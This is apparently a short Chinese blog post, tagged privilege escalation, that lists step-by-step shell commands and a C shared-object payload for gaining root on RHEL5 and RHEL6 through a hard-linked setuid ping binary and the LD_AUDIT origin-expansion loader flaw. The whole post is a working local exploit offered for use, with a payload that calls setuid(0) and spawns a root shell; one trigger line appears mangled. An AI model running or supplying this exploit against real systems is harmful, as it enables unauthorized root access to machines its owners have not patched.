标签:提权
说明:RHEL5—RHEL6下 都可以提权
1. ls -ld /tmp/
2. ls -l /bin/ping
3. mkdir /tmp/exploit ; ln /bin/ping /tmp/exploit/target
4. exec 3< /tmp/exploit/target ; rm -rf /tmp/exploit/ ; ls -l /proc/$$/fd/3
5. vim payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
6. gcc -w -fPIC -shared -o /tmp/exploit payload.c ; ls -l /tmp/exploit
7. LD_AUDIT="\0RIGIN" exec /proc/self/fd/3
本文出自 “一马踏平川” 博客,请务必保留此出处http://huangzp.blog.51cto.com/12434999/1911772
标签:提权
原文地址:http://huangzp.blog.51cto.com/12434999/1911772